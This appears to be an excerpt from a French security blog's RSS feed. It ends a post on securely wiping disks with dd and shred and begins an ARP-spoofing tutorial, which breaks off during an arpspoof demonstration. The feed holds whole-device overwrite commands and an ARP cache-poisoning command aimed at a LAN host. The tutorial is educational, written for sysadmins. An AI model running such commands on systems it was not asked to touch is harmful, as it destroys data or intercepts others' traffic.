<p><strong>Dans le cas d&#8217;un effacement de disque dur, ce risque nous importe peu, mais je trouvais intéressant d&#8217;en parler.</strong></p>
<p>Petites précisions pour les BSD Users:<br />
1) Le générateur de bruit random a été remplacé par un générateur cryptographique nommé « <a rel="nofollow" href="http://fr.wikipedia.org/wiki/Yarrow">Yarrow algorithm</a> » ;<br />
2) /dev/urandom est un lien symbolique sur /dev/random.<br />
3) Les numéros mineurs et majeurs ne sont pas les mêmes, ex:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ ls -l /dev | grep random<br />
crw-rw-rw- 1 root wheel 8, 0 5 mai 15:23 random<br />
crw-rw-rw- 1 root wheel 8, 1 3 mai 15:52 urandom</div></td></tr></tbody></table></div>
<h3>Vérifications</h3>
<p>Pour vérifier l&#8217;oeuvre de la commande dd couplée à random, nous allons utiliser « hexdump » (sur un fichier de 64b, pour une question de lisibilité).</p>
<p>Utilisons &laquo;&nbsp;zero&nbsp;&raquo; comme générateur:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">count</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">64</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">hexdump</span> <span style="color: #660033;">-C</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>^00<span style="color: #7a0874; font-weight: bold;">&#93;</span><br />
<span style="color: #000000;">1</span>+<span style="color: #000000;">0</span> records <span style="color: #000000; font-weight: bold;">in</span><br />
<span style="color: #000000;">1</span>+<span style="color: #000000;">0</span> records out<br />
<span style="color: #000000;">64</span> bytes transferred <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">0.000035</span> secs <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1826092</span> bytes<span style="color: #000000; font-weight: bold;">/</span>sec<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #000000;">0</span>+<span style="color: #000000;">1</span> records <span style="color: #000000; font-weight: bold;">in</span><br />
<span style="color: #000000;">0</span>+<span style="color: #000000;">1</span> records out<br />
<span style="color: #000000;">64</span> bytes transferred <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">0.000018</span> secs <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3532045</span> bytes<span style="color: #000000; font-weight: bold;">/</span>sec<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <span style="color: #000000; font-weight: bold;">|</span>................<span style="color: #000000; font-weight: bold;">|</span><br />
<span style="color: #000000; font-weight: bold;">*</span><br />
00000040</div></td></tr></tbody></table></div>
<p>Quand à utiliser &laquo;&nbsp;random&nbsp;&raquo;, voici le résultat :</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>random <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">count</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">64</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">hexdump</span> <span style="color: #660033;">-C</span><br />
<span style="color: #000000;">1</span>+<span style="color: #000000;">0</span> records <span style="color: #000000; font-weight: bold;">in</span><br />
<span style="color: #000000;">1</span>+<span style="color: #000000;">0</span> records out<br />
<span style="color: #000000;">64</span> bytes transferred <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">0.000040</span> secs <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1597830</span> bytes<span style="color: #000000; font-weight: bold;">/</span>sec<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #000000;">0</span>+<span style="color: #000000;">1</span> records <span style="color: #000000; font-weight: bold;">in</span><br />
<span style="color: #000000;">0</span>+<span style="color: #000000;">1</span> records out<br />
<span style="color: #000000;">64</span> bytes transferred <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">0.000016</span> secs <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">4006499</span> bytes<span style="color: #000000; font-weight: bold;">/</span>sec<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
00000000 <span style="color: #000000;">68</span> 0f 9a a5 f8 9c 1a <span style="color: #000000;">45</span> fa ce c2 04 <span style="color: #000000;">64</span> 0d 3a a2 <span style="color: #000000; font-weight: bold;">|</span>h..??..E???.d.:?<span style="color: #000000; font-weight: bold;">|</span><br />
00000010 d5 <span style="color: #000000;">59</span> f1 <span style="color: #000000;">10</span> 05 4a <span style="color: #c20cb9; font-weight: bold;">cc</span> b0 ec <span style="color: #000000;">69</span> 3a <span style="color: #000000;">26</span> f6 f9 <span style="color: #000000;">42</span> c3 <span style="color: #000000; font-weight: bold;">|</span>?Y?..J̰?i:<span style="color: #000000; font-weight: bold;">&amp;</span>amp;??B?<span style="color: #000000; font-weight: bold;">|</span><br />
00000020 <span style="color: #000000;">28</span> <span style="color: #000000;">81</span> <span style="color: #000000;">32</span> 7b 3e f5 7c 3a a8 d9 <span style="color: #000000;">75</span> <span style="color: #000000;">63</span> bd <span style="color: #000000;">16</span> <span style="color: #000000;">21</span> 8e <span style="color: #000000; font-weight: bold;">|</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>.2<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">&amp;</span>gt;?<span style="color: #000000; font-weight: bold;">|</span>:??uc?.<span style="color: #000000; font-weight: bold;">!</span>.<span style="color: #000000; font-weight: bold;">|</span><br />
00000030 9a 9e <span style="color: #000000;">28</span> <span style="color: #000000;">43</span> <span style="color: #c20cb9; font-weight: bold;">bc</span> <span style="color: #000000;">69</span> 3c 7a <span style="color: #000000;">53</span> <span style="color: #000000;">11</span> 8b 9b 7c 8d <span style="color: #000000;">86</span> 2e <span style="color: #000000; font-weight: bold;">|</span>..<span style="color: #7a0874; font-weight: bold;">&#40;</span>C?i 00000040</div></td></tr></tbody></table></div>
<p>Vous pourrez, naturellement vérifier le résultat en situation « réelle » grace a la commande suivante :</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdX <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">hexdump</span> <span style="color: #660033;">-C</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>^00<span style="color: #7a0874; font-weight: bold;">&#93;</span></div></td></tr></tbody></table></div>
<h2>Note finale</h2>
<p>Il existe des logiciels comme &laquo;&nbsp;Shred&nbsp;&raquo; qui offrent des solutions « clés en main », mais qui au final ne font que ce que vous auriez très bien pu faire avec &laquo;&nbsp;dd&nbsp;&raquo; (un nombre X de passes random puis finir sur une &laquo;&nbsp;zero&nbsp;&raquo;), ex:</p>
<p>Les deux lignes suivantes font la même chose:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">shred</span> <span style="color: #660033;">-fzv</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">16</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdX</div></td></tr></tbody></table></div>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">for</span> n <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">15</span><span style="color: #000000; font-weight: bold;">`</span>; <span style="color: #000000; font-weight: bold;">do</span> <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>urandom <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdX <span style="color: #007800;">conv</span>=notrunc; <span style="color: #000000; font-weight: bold;">done</span>; <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdX <span style="color: #007800;">conv</span>=notrunc</div></td></tr></tbody></table></div>
<p>sachant que &#8211; pour un disque de 500Go &#8211; dd a été le plus rapide chez moi.</p>
<p>Il existe un ensemble d’outils nommé « secure_deletion toolkit », mais il n&#8217;est pas encore porté sur toutes les plates-formes. Par exemple, l&#8217;outil « sfill » pousse l&#8217;effacement sécurisé des fichiers à son paroxysme :</p>
<p>* Une passe avec 0xff<br />
* 5 passes aléatoires avec la source /dev/urandom<br />
* 27 passes avec des valeurs spéciales définies par Peter Gutmann. (<a rel="nofollow" href="http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html">Je vous invite d&#8217;ailleurs a lire son article très complet si vous voulez en savoir plus.</a>)<br />
* A nouveau 5 passes aléatoires.<br />
* Une passe avec 0&#215;00.</p>
<p><strong>Il est peu être possible de lire « à côté des pistes », des résidus magnétisés et de retrouver ainsi des données écrites préalablement en décalant les têtes et peut être existe&#8217;il d&#8217;autres méthodes dont nous n&#8217;avons pas connaissance alors il reste une solution universelle et radicale : La destruction physique. C&#8217;est la seule solution réellement viable et irrécupérable : Perceuse, Masse, Acide et j&#8217;en passe..</strong></p>
<p><strong>Le générateur random et l&#8217;utilitaire dd sont disponibles sur énormément de distributions : Solaris, Mac OS X, FreeBSD, HP-UX, Tru64, AIX et j&#8217;en passe.</strong></p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/debian/effacer-definivement-toutes-les-donnees-dun-disque-dur-sous-nux-677/feed/</wfw:commentRss>
<slash:comments>9</slash:comments>
</item>
<item>
<title>ARP Spoofing (ARP Cache poisoning)</title>
<link>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/</link>
<comments>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/#comments</comments>
<pubDate>Sun, 26 Apr 2009 09:25:57 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Réseaux]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[Adresse MAC]]>
</category>
<category>
<![CDATA[arp]]>
</category>
<category>
<![CDATA[ARP Spoofing]]>
</category>
<category>
<![CDATA[Cache poisoning]]>
</category>
<category>
<![CDATA[cisco]]>
</category>
<category>
<![CDATA[Denial of Service]]>
</category>
<category>
<![CDATA[DoS]]>
</category>
<category>
<![CDATA[exploit]]>
</category>
<category>
<![CDATA[faille]]>
</category>
<category>
<![CDATA[Mac]]>
</category>
<category>
<![CDATA[MAC Flooding]]>
</category>
<category>
<![CDATA[Man in the middle]]>
</category>
<category>
<![CDATA[MITM]]>
</category>
<category>
<![CDATA[Modele OSI]]>
</category>
<guid isPermaLink="false">http://www.crashdump.fr/blog/?p=59</guid>
<description>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/arp-spoofing.png" class="attachment-featured-image wp-post-image" alt="arp-spoofing" title="arp-spoofing" /></p><br />Dans le monde de la sécurité informatique, il existe trois types de failles : L’exploit connu de tous, généralement rapidement corrigé par un patch. L’exploit de type 0-day, très peu de gens en ont connaissance — qui sera peut-être corrigé un jour — Et enfin les vulnérabilités dues a la conception d’un système/protocole et qui ne [...]]]>
</description>
<content:encoded>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/arp-spoofing.png" class="attachment-featured-image wp-post-image" alt="arp-spoofing" title="arp-spoofing" /></p><br /><p><em>Dans le monde de la sécurité informatique, il existe trois types de failles : L’exploit connu de tous, généralement rapidement corrigé par un patch. L’exploit de type 0-day, très peu de gens en ont connaissance — qui sera peut-être corrigé un jour — Et enfin les vulnérabilités dues a la conception d’un système/protocole et qui ne pourrons pas être, c’est le cas de par exemple du protocole de routage BGP (sur lequel j’ai fait un billet précédemment) ou encore de l’ « Address Resolution Protocol » aka ARP. Et tout bon sysadmin se doit de les connaitre pour savoir où et comment surveiller son réseau et se prémunir de ces attaques qui ne pardonnent pas.<br />
Ce protocole et les attaques qu&#8217;il permet sur un LAN sont plutôt bien connus. Néanmoins, les conséquences de ces attaques sont rarement appréhendées à leur juste mesure. La technique que nous allons voir ici se nomme ARP Spoofing (ou ARP Cache poisoning). C&#8217;est une technique de spoofing très efficace bien que facilement détectable et – comme je le disais plus haut, parfaitement incurable, car lié directement a sa conception. . Nous étudierons trois possibilités de sont utilisation : Denial of Service, Man in the middle et MAC Flooding. Mais tout d&#8217;abord, commençons par une piqûre de rappel.</em></p>
<p>MAJ 6 Mai 2009: Correction de quelques fautes.</p>
<ul>
<li>1. <a rel="nofollow" href="#modeleosi">Modèle OSI</a></li>
<li>2. <a rel="nofollow" href="#ladressemac">L’adresse MAC</a></li>
<li>3. <a rel="nofollow" href="#leprotocolearp">Le protocole ARP</a></li>
<li>4. <a rel="nofollow" href="#larpspoofing">L’ARP Spoofing</a></li>
<li>5. <a rel="nofollow" href="#faiblesses">Faiblesses</a></li>
<li>5.1 Denial of Service</li>
<li>5.2 Man in the middle</li>
<li>5.3 MAC Flooding</li>
<li>6. <a rel="nofollow" href="#solutions">Solutions</a></li>
<li>6.1 Pour les petits réseaux</li>
<li>6.2 Pour les grands réseaux</li>
<li>6.3 Pour tous le monde</li>
</ul>
<h2>1. <a name="modeleosi">Modèle OSI</a></h2>
<p>L’OSI (Open Systems Interconnection) est un modèle de communications entre machines proposé par l&#8217;ISO (Organisation internationale de normalisation). Il décrit les fonctionnalités nécessaires à la communication et l&#8217;organisation de ces fonctions.<br />
Dans sa forme la plus simple, il divise le réseau en sept couches que nous ne détaillerons pas ici. La numérotation des couches commence par le bas, c&#8217;est à dire par le matériel (matériel en bas, logiciel d&#8217;application en haut. Nous nous intéressons uniquement à certaines couches dites basses :</p>
<p>• La couche physique (niveau 1) : La couche physique est chargée de la transmission effective des signaux électriques ou optiques entre les interlocuteurs (100BASE-TX, ADSL, Firewire, USB, RS-232…).<br />
• la couche liaison (niveau 2) est le lien entre la carte réseau et la couche réseau (Ethernet, Token ring, WiFi, PPPoE)<br />
• la couche réseau (niveau 3) gère l&#8217;adressage logique et le routage (IPv4, IPv6, ICMP).</p>
<p><a href="http://www.crashdump.fr/wp-content/uploads/2009/04/comptcp-osi.png"><img class="alignnone size-thumbnail wp-image-654" title="comptcp-osi" src="http://www.crashdump.fr/wp-content/uploads/2009/04/comptcp-osi-430x125.png" alt="comptcp-osi" width="430" height="125" /></a></p>
<p>Exemples :</p>
<p>- Un hub est un matériel de niveau 1 : il permet de relier plusieurs machines à une même branche du réseau. Il se contente de faire circuler les signaux dans les deux sens, sans traitement.<br />
- Un routeur est un matériel de niveau 3, c&#8217;est-à-dire qu&#8217;il intervient aux niveaux 1 à 3. C&#8217;est le dispositif de base des réseaux. Il lit l&#8217;adresse IP des paquets qu&#8217;il reçoit et les re-expédie où il faut depuis les données contenues dans sa table de routage et son cache ARP. Cette dernière est mise à jour régulièrement, en fonction des données que le routeur reçoit des routeurs et des ordinateurs voisins.</p>
<h2>2. <a name="ladressemac">L’adresse MAC</a></h2>
<p>L’adresse MAC (Media Access Control) est un identifiant physique constitué de 6 octets, elle est attribuée par le constructeur de l’équipement et « hard codé » sur la carte (il est possible de la changer, mais ce n’est pas le but de cet article.) Elle consiste en six nombres hexadécimaux séparés par des « &#8211; » ou des « : », il existe potentiellement 248 (environ 281 000 milliards) d&#8217;adresses MAC possible, il est donc quasiment impossible de se retrouver avec un doublon sur le réseau. Notez que l’adresse de broadcast est: FF:FF:FF:FF:FF:FF, les données seront envoyées à l’ensemble du réseau local.<br />
Nota : L&#8217;IEEE a donné des préfixes de 24 bits sur les 48 bits aux fabricants, c’est l &#8216;OUI (organizationally unique identifier). Ce qui permet facilement d’identifier une carte de destination, ex :</p>
<p>00-00-0C(hex) Pour Cisco ou encore 00-00-7D(hex) pour Sun – (clin d’œil a touff’.. si tu me lis ;)</p>
<p>Vous pouvez y avoir accès, sous Linux avec la commande ifconfig :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[user@machine]$ ifconfig<br />
eth0 Link encap:Ethernet HWaddr 00:90:27:52:78:7A<br />
inet addr:192.168.10.51 Bcast:192.168.10.255 Mask:255.255.255.0</div></td></tr></tbody></table></div>
<p>En savoir plus : http://www.iana.org/assignments/ieee-802-numbers</p>
<h2>3. <a name="leprotocolearp">Le Protocole ARP</a></h2>
<p>Ce protocole est vraiment très simple : Il sert à mettre en corrélation l’adresse IP avec l’adresse MAC pour savoir qui sont les machines sur le réseau et donc savoir ou router les paquets. Ce protocole est totalement séparé de TCP/IP puisqu’il n’opère qu’entre les niveaux 2 et 3 de la couche réseau. Nous pourrions le comparer aux DNS sauf qu’au lieu de convertir les noms de domaines en IP, il convertit les IPs en Adresse MAC.<br />
Les équipements réseaux communiquent en échangeant des trames Ethernet (dans le cas d&#8217;un réseau Ethernet bien sûr) au niveau de la couche liaison de données, toute machine connectée a un réseau possède un cache ARP de toutes les adresses IP/MAC rencontrés, ce qui permet de ne pas encombrer les réseaux en renouvelant les requêtes pour communiquer avec les machines contactées précédemment.</p>
<p>Il comprend quatre messages de base :</p>
<div>
<ol>
<li>Une requête ARP: L’ordinateur A demande sur le réseau (en broadcast) « Qui a cette adresse IP ? »</li>
<li>Une réponse ARP: L’ordinateur B répond a l’ordinateur A : « J’ai cette adresse IP et mon adresse Mac est .. »</li>
<li>Une requête RARP (ARP inversé): Même principe que le 1. sauf que l’ordinateur A demande : “Qui a cette adresse mac ?” (En réalité le RARP est très peu utilisé et est essentiellement utilisé pour les stations de travail n&#8217;ayant pas de disque dur et souhaitant connaître leur adresse logique.)</li>
<li>Une réponse RARP:L’ordinateur B répond a l’ordinateur A: “J’ai cette adresse IP:..”<br />
Puisqu&#8217;il s&#8217;agit de broadcast, tous les ordinateurs connectés au support physique vont recevoir la requête. Les autres machines recevront aussi le message et pourrons analyser les messages pour stocker dans leur cache une liste des adresses IP/MAC (Vous commencez a voir ou je veux en venir&#8230;) La machine qui possède cette adresse MAC, sera la seule &#8211; ce qui est censé être le cas dans tout réseau, cf : Adresses MAC, plus haut &#8211; à répondre en envoyant à la machine émettrice une réponse.</li>
</ol>
</div>
<p>Aller plus loin : http://tools.ietf.org/html/rfc826</p>
<h2>4. <a name="larpspoofing">L’ARP Spoofing</a></h2>
<p>Bien, assez de tous ces rappels ennuyeux, passons aux choses amusantes : la vulnérabilité de ce protocole. Pour améliorer le temps de réponse et limiter l’utilisation du réseau la plupart des systèmes mettent a jour leur cache ARP a chaque fois qu’ils reçoivent une réponse, même s’ils ne l’on pas demandé : ce qui veut dire qu’un « pirate » envoyant un message ARP a l’ordinateur B disant « l’ordinateur C a mon Adresse MAC » recevra ensuite tous les messages qui devraient normalement être délivrés a cet ordinateur C.<br />
petite mise en situation :</p>
<p>(J’ai simplifié les adresses MAC pour une meilleure lisibilité)<br />
A. Le serveur, 00:00:00:00:00:01 – 192.168.0.10<br />
B. Un utilisateur, 00:00:00:00:00:02 – 192.168.0.20<br />
C. Le pirate, 00:00:00:00:00:03 – 192.168.0.30</p>
<p>C annonce à B “192.168.0.10” est a l’adresse MAC: 00:00:00:00:00:03.<br />
C annonce à A “192.168.0.20” est a l’adresse MAC: 00:00:00:00:00:03.</p>
<p>Comment ? avec des solutions comme ARPSpoof ou Némésis, très simplement :</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ traceroute 192.168.0.10<br />
traceroute to 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span>, <span style="color: #000000;">30</span> hops max, <span style="color: #000000;">40</span> byte packets<br />
<span style="color: #000000;">1</span> 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">718</span> ms <span style="color: #000000;">461</span> ms <span style="color: #000000;">849</span> ms</div></td></tr></tbody></table></div>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ arp<br />
Address HWtype HWAddress Flags Mask Iface<br />
192.168.0.10 ether 00:00:00:00:00:01 C eth0<br />
192.168.0.30 ether 00:00:00:00:00:03 C eth0</div></td></tr></tbody></table></div>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>evil<span style="color: #000000; font-weight: bold;">@</span>pirate<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ arpspoof <span style="color: #660033;">-t</span> 192.168.0.30 192.168.0.10<br />
<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span><br />
<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span><br />
<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span></div></td></tr></tbody></table></div>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ traceroute 192.168.0.10<br />
